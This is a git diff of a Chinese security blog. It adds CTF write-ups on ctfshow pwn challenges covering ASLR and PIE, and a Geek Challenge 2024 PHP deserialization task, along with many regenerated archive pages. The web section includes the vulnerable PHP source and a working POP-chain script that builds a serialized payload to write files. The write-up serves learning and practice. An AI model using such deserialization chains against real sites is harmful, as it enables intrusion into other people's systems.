          diff --git a/2024/10/06/20240xGame/index.html b/2024/10/06/20240xGame/index.html index 4c0ae578..ab5d7119 100644 --- a/2024/10/06/20240xGame/index.html +++ b/2024/10/06/20240xGame/index.html @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          20240xGame

          +};

          20240xGame

          diff --git a/2024/10/06/2024CNSS_Recruit/index.html b/2024/10/06/2024CNSS_Recruit/index.html index 0da9d2a1..baf1d26a 100644 --- a/2024/10/06/2024CNSS_Recruit/index.html +++ b/2024/10/06/2024CNSS_Recruit/index.html @@ -36,8 +36,8 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          2024CNSS Recruit

          - +};

          2024CNSS Recruit

          +
          diff --git "a/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023224813007.png" "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023224813007.png" new file mode 100644 index 00000000..450956a6 Binary files /dev/null and "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023224813007.png" differ diff --git "a/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023231004370.png" "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023231004370.png" new file mode 100644 index 00000000..cd64d78a Binary files /dev/null and "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023231004370.png" differ diff --git "a/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023231225944.png" "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023231225944.png" new file mode 100644 index 00000000..08d55e3d Binary files /dev/null and "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/image-20241023231225944.png" differ diff --git "a/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/index.html" "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/index.html" index 08863d40..b1887df0 100644 --- "a/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/index.html" +++ "b/2024/10/08/pwn\345\205\245\351\227\250-\345\211\215\347\275\256\345\237\272\347\241\200/index.html" @@ -34,8 +34,11 @@ + + + - + @@ -57,7 +60,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          pwn入门-前置基础

          从零开始的pwn生活

          pwn0

          ssh ctfshow@pwn.challenge.ctf.show -p28184 # 123456
          +};
          +

          pwn26(ASLR)

          +

          ASLR(Address Space Layout Randomization)是一种操作系统级别的安全保护机制,旨在增加软件系统的安全性。它通过随机化程序在内存中的布局,使得攻击者难以准确地确定关键代码和数据的位置,从而增加了利用软件漏洞进行攻击的难度。

          +

          开启不同等级会有不同的效果:

          +
            +
          1. 内存布局随机化: ASLR的主要目标是随机化程序的内存布局。在传统的内存布局中,不同的库和模块通常会在固定的内存位置上加载,攻击者可以利用这种可预测性来定位和利用漏洞。ASLR通过随机化这些模块的加载地址,使得攻击者无法准确地确定内存中的关键数据结构和代码的位置。
          2. +
          3. 地址空间范围的随机化: ASLR还会随机化进程的地址空间范围。在传统的地址空间中,栈、堆、代码段和数据段通常会被分配到固定的地址范围中。ASLR会随机选择地址空间的起始位置和大小,从而使得这些重要的内存区域在每次运行时都有不同的位置。
          4. +
          5. 随机偏移量: ASLR会引入随机偏移量,将程序和模块在内存中的相对位置随机化。这意味着每个模块的实际地址是相对于一个随机基址偏移的,而不是绝对地址。攻击者需要在运行时发现这些偏移量,才能准确地定位和利用漏洞。
          6. +
          7. 堆和栈随机化: ASLR也会对堆和栈进行随机化。堆随机化会在每次分配内存时选择不同的起始地址,使得攻击者无法准确地预测堆上对象的位置。栈随机化会随机选择栈帧的起始位置,使得攻击者无法轻易地覆盖返回地址或控制程序流程。
          8. +
          +

          在Linux中,ALSR的全局配置/proc/sys/kernel/randomize_va_space有三种情况:

          +

          0表示关闭ALSR

          +

          1表示部分开启(将mmap的基址、stack和vdso页面随机化)

          +

          2表示完全开启

          + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          ALSRExecutablePLTHeapStackShared libraies
          0×××××
          1×××
          2××
          2+PIE
          +

          直接运行

          +
          Here is your ASLR level:
          +2
          +If the result is 0, then you get the correct flag!
          +If not,you will get a fake flag!
          +flag is :ctfshow{0x400687_0x400560_0x1df12a0_0x7d97260e3680}
          +
          + +

          打开IDA看一下

          +
          int __cdecl main(int argc, const char **argv, const char **envp)
          +{
          +  void *ptr; // ST00_8
          +  void *v4; // ST08_8
          +  void *v5; // ST00_8
          +
          +  ptr = malloc(4uLL);
          +  v4 = dlopen("/lib/x86_64-linux-gnu/libc.so.6", 258);
          +  puts(s);
          +  puts(asc_4008F0);
          +  puts(asc_400970);
          +  puts(asc_400A00);
          +  puts(asc_400A90);
          +  puts(asc_400B18);
          +  puts(asc_400BB0);
          +  puts("    * *************************************                           ");
          +  puts(aClassifyCtfsho);
          +  puts("    * Type  : Linux_Security_Mechanisms                               ");
          +  puts("    * Site  : https://ctf.show/                                       ");
          +  puts("    * Hint  : Please confirm your ASLR level first !                  ");
          +  puts("    * *************************************                           ");
          +  puts("Here is your ASLR level:");
          +  system("cat /proc/sys/kernel/randomize_va_space");
          +  puts("If the result is 0, then you get the correct flag!");
          +  puts("If not,you will get a fake flag!");
          +  printf("flag is :ctfshow{%p", main, ptr);
          +  printf("_%p", system);
          +  printf("_%p", v5);
          +  printf("_%p", v4);
          +  puts("}");
          +  free(v5);
          +  return 0;
          +}
          + +

          发现会打开/proc/sys/kernel/randomize_va_space 所以只需要把他值改为0即可 因为这里没有使用提供的虚拟机环境 所以flag不对

          +

          ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

          +

          pwn27

          int __cdecl main(int argc, const char **argv, const char **envp)
          +{
          +  void *ptr; // ST00_8
          +  void *v4; // ST08_8
          +  void *v5; // ST00_8
          +
          +  ptr = malloc(4uLL);
          +  v4 = dlopen("./libc-2.27.so", 258);
          +  puts(s);
          +  puts(asc_4008D0);
          +  puts(asc_400950);
          +  puts(asc_4009E0);
          +  puts(asc_400A70);
          +  puts(asc_400AF8);
          +  puts(asc_400B90);
          +  puts("    * *************************************                           ");
          +  puts(aClassifyCtfsho);
          +  puts("    * Type  : Linux_Security_Mechanisms                               ");
          +  puts("    * Site  : https://ctf.show/                                       ");
          +  puts("    * Hint  : Please confirm your ASLR level first !                  ");
          +  puts("    * *************************************                           ");
          +  puts("Here is your ASLR level:");
          +  system("cat /proc/sys/kernel/randomize_va_space");
          +  puts("If the result is 0 or 1, then you get the correct flag!");
          +  puts("If not,you will get a fake flag!");
          +  printf("flag is :ctfshow{%p", main, ptr, v4);
          +  printf("_%p", system);
          +  printf("_%p", v5);
          +  puts("}");
          +  free(v5);
          +  return 0;
          +}
          + +

          改为0或1即可

          +

          ctfshow{0x400687_0x400560_0x603260}

          +

          pwn28

          运行直接给flagctfshow{0x400687_0x400560}

          +

          pwn29(PIE)

          PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。在PIE和ASLR同时开启的情况下,攻击者将对程序的内存布局一无所知,大大
          增加了利用难度。然而在增加安全性的同时,PIE也会一定程度上影响性能,因此在大多数操作系统上PIE仅用于一些对安全性要求比较高的程序。

          +

          +

          附件是64位elf,丢到IDA里,可以看到强制开启了ASLR的保护模式,之后用checksec命令输出附件的保护信息,最后直接给了flag的明文

          +

          pwn30

          关闭PIE后 程序的基地址固定,攻击者可以更容易地确定内存中函数和变量的位置。

          +

          +

          IDA 32位 部分RELRO开启

          +
          int __cdecl main(int argc, const char **argv, const char **envp)
          +{
          +  setvbuf(stdin, 0, 1, 0);
          +  setvbuf(stdout, 0, 2, 0);
          +  ctfshow(&argc);
          +  puts((const char *)&unk_8048710);
          +  puts((const char *)&unk_8048784);
          +  puts((const char *)&unk_8048800);
          +  puts((const char *)&unk_804888C);
          +  puts((const char *)&unk_804891C);
          +  puts((const char *)&unk_80489A0);
          +  puts((const char *)&unk_8048A34);
          +  puts("    * *************************************                           ");
          +  puts((const char *)&unk_8048AF8);
          +  puts("    * Type  : Linux_Security_Mechanisms                               ");
          +  puts("    * Site  : https://ctf.show/                                       ");
          +  puts("    * Hint  : No Canary found & No PIE ");
          +  puts("    * *************************************                           ");
          +  write(0, "Hello CTFshow!\n", 0xEu);
          +  return 0;
          +}
          + +

          跟进ctfshow

          +
          ssize_t ctfshow()
          +{
          +  char buf; // [esp+0h] [ebp-88h]
          +
          +  return read(0, &buf, 0x100u);
          +}
          +
          I'm so cute. Please give me money.
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/2024/10/22/2024\346\236\201\345\256\242\345\244\247\346\214\221\346\210\230/index.html" "b/2024/10/22/2024\346\236\201\345\256\242\345\244\247\346\214\221\346\210\230/index.html" new file mode 100644 index 00000000..43cabee8 --- /dev/null +++ "b/2024/10/22/2024\346\236\201\345\256\242\345\244\247\346\214\221\346\210\230/index.html" @@ -0,0 +1,124 @@ +2024极客大挑战 | Hsad's Blog + + + + + + + + + + +

          2024极客大挑战

          web

          ezpop

           <?php
          +Class SYC{
          +    public $starven;
          +    public function __call($name, $arguments){
          +        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
          +            die('no hack');
          +        }
          +        file_put_contents($this->starven,"<?php exit();".$this->starven);
          +    }
          +}
          +
          +Class lover{
          +    public $J1rry;
          +    public $meimeng;
          +    public function __destruct(){
          +        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
          +            echo "success";
          +            $this->meimeng->source;
          +        }
          +    }
          +
          +    public function __invoke()
          +    {
          +        echo $this->meimeng;
          +    }
          +
          +}
          +
          +Class Geek{
          +    public $GSBP;
          +    public function __get($name){
          +        $Challenge = $this->GSBP;
          +        return $Challenge();
          +    }
          +
          +    public function __toString(){
          +        $this->GSBP->Getflag();
          +        return "Just do it";
          +    }
          +
          +}
          +
          +if($_GET['data']){
          +    if(preg_match("/meimeng/i",$_GET['data'])){
          +        die("no hack");
          +    }
          +   unserialize($_GET['data']);
          +}else{
          +   highlight_file(__FILE__);
          +}
          +
          + +
          lover::__destruct() -> Geek::__get() -> lover::__invoke() -> Geek::__toString() -> SYC::__call
          + +

          Pop:

          +
          <?php
          +error_reporting(0);
          +Class SYC{
          +    public $starven;
          +}
          +
          +Class lover{
          +    public $J1rry = "data://text/plain,Welcome GeekChallenge 2024";
          +    public $meimeng;
          +
          +}
          +
          +Class Geek{
          +    public $GSBP;
          +
          +}
          +
          +$a = new lover();
          +$a->meimeng = new Geek();
          +$a->meimeng->GSBP = new lover();
          +$a->meimeng->GSBP->meimeng = new Geek();
          +$a->meimeng->GSBP->meimeng->GSBP = new SYC();
          +$a->meimeng->GSBP->meimeng->GSBP->starven = "flag.php";
          +echo urlencode(serialize($a));
          +
          +
          + +
          I'm so cute. Please give me money.
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/404.html b/404.html index da0a51fe..021542c1 100644 --- a/404.html +++ b/404.html @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          四大皆空

          404
          \ No newline at end of file diff --git a/archives/2024/07/index.html b/archives/2024/07/index.html index 84f04440..2aa20a57 100644 --- a/archives/2024/07/index.html +++ b/archives/2024/07/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/07/page/2/index.html b/archives/2024/07/page/2/index.html index 58173b56..2a117c17 100644 --- a/archives/2024/07/page/2/index.html +++ b/archives/2024/07/page/2/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          归档

          共计 41 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          归档

          共计 42 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/08/index.html b/archives/2024/08/index.html index 0261b553..9c4f192c 100644 --- a/archives/2024/08/index.html +++ b/archives/2024/08/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/08/page/2/index.html b/archives/2024/08/page/2/index.html index a7c28c9c..8fb440fd 100644 --- a/archives/2024/08/page/2/index.html +++ b/archives/2024/08/page/2/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          归档

          共计 41 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          归档

          共计 42 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/09/index.html b/archives/2024/09/index.html index 1f0317be..de31bebd 100644 --- a/archives/2024/09/index.html +++ b/archives/2024/09/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/10/index.html b/archives/2024/10/index.html index c3ddcbfd..baf361bd 100644 --- a/archives/2024/10/index.html +++ b/archives/2024/10/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          归档

          共计 41 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          归档

          共计 42 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/index.html b/archives/2024/index.html index fecd2515..0acc560e 100644 --- a/archives/2024/index.html +++ b/archives/2024/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/page/2/index.html b/archives/2024/page/2/index.html index bd7643c5..170d25d0 100644 --- a/archives/2024/page/2/index.html +++ b/archives/2024/page/2/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/page/3/index.html b/archives/2024/page/3/index.html index d4ae198b..a6aa2a34 100644 --- a/archives/2024/page/3/index.html +++ b/archives/2024/page/3/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/page/4/index.html b/archives/2024/page/4/index.html index e119f21b..945de6ac 100644 --- a/archives/2024/page/4/index.html +++ b/archives/2024/page/4/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/2024/page/5/index.html b/archives/2024/page/5/index.html index 3707e3f6..00d32293 100644 --- a/archives/2024/page/5/index.html +++ b/archives/2024/page/5/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          归档

          共计 41 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          归档

          共计 42 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/index.html b/archives/index.html index d3065099..59b489b0 100644 --- a/archives/index.html +++ b/archives/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/page/2/index.html b/archives/page/2/index.html index 205c80aa..63af24ad 100644 --- a/archives/page/2/index.html +++ b/archives/page/2/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/page/3/index.html b/archives/page/3/index.html index fa18838e..d6998601 100644 --- a/archives/page/3/index.html +++ b/archives/page/3/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/page/4/index.html b/archives/page/4/index.html index a8593951..764dc275 100644 --- a/archives/page/4/index.html +++ b/archives/page/4/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/archives/page/5/index.html b/archives/page/5/index.html index 484a39c2..4b40d102 100644 --- a/archives/page/5/index.html +++ b/archives/page/5/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          归档

          共计 41 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          归档

          共计 42 篇日志

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/categories/index.html b/categories/index.html index 43a0a559..919d08b3 100644 --- a/categories/index.html +++ b/categories/index.html @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/index.html" index 30fbb9b5..484c430d 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/2/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/2/index.html" index f5b40e4a..17fe7f3a 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/2/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/2/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/3/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/3/index.html" index 1837da15..e4b13835 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/3/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/3/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/4/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/4/index.html" new file mode 100644 index 00000000..43b6fb3c --- /dev/null +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/CTF/page/4/index.html" @@ -0,0 +1,40 @@ +分类 - CTF | Hsad's Blog + + + + + + + + +

          CTF

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/Java\345\256\211\345\205\250/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/Java\345\256\211\345\205\250/index.html" index 0d9b0233..1dce7233 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/Java\345\256\211\345\205\250/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/Java\345\256\211\345\205\250/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/index.html" index 25070c5a..db333706 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/2/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/2/index.html" index ea15ab65..b67af2f5 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/2/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/2/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/3/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/3/index.html" index fcddbc32..69050bc7 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/3/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/3/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/4/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/4/index.html" index 707ea05e..34a1ad40 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/4/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/page/4/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          安全相关

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          安全相关

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/\346\270\227\351\200\217\346\265\213\350\257\225/index.html" "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/\346\270\227\351\200\217\346\265\213\350\257\225/index.html" index 374a90a7..dc672eaf 100644 --- "a/categories/\345\256\211\345\205\250\347\233\270\345\205\263/\346\270\227\351\200\217\346\265\213\350\257\225/index.html" +++ "b/categories/\345\256\211\345\205\250\347\233\270\345\205\263/\346\270\227\351\200\217\346\265\213\350\257\225/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          渗透测试

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          渗透测试

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\346\212\200\346\234\257\347\254\224\350\256\260/index.html" "b/categories/\346\212\200\346\234\257\347\254\224\350\256\260/index.html" index c9431ac8..d2fcc7d9 100644 --- "a/categories/\346\212\200\346\234\257\347\254\224\350\256\260/index.html" +++ "b/categories/\346\212\200\346\234\257\347\254\224\350\256\260/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          技术笔记

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          技术笔记

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git "a/categories/\346\235\202\350\260\210/index.html" "b/categories/\346\235\202\350\260\210/index.html" index 860e10c0..59654f36 100644 --- "a/categories/\346\235\202\350\260\210/index.html" +++ "b/categories/\346\235\202\350\260\210/index.html" @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};

          杂谈

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11

          杂谈

          2024

          没有更多的黑历史了_(:з」∠)_
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/index.html b/index.html index 3220c9d7..dc8b7741 100644 --- a/index.html +++ b/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          谢谢你来看我(๑>ᴗ<๑)
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          谢谢你来看我(๑>ᴗ<๑)
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/links/index.html b/links/index.html index 30da98ca..246cc49a 100644 --- a/links/index.html +++ b/links/index.html @@ -36,7 +36,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html index b68b0d1e..e5217f23 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html index 26c34d83..22268660 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html index 1673c2fc..4a482f02 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -34,7 +34,7 @@ // Wait for 1 second before switching API hosts rotate: 1000, }, -};
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          Hexo 驱动 v7.2.0|主题 - Yun v1.10.11
          \ No newline at end of file diff --git a/search.xml b/search.xml index 226c06de..e527327a 100644 --- a/search.xml +++ b/search.xml @@ -3,6 +3,33 @@ + + 2024极客大挑战 + + /2024/10/22/2024%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98/ + + web

          ezpop

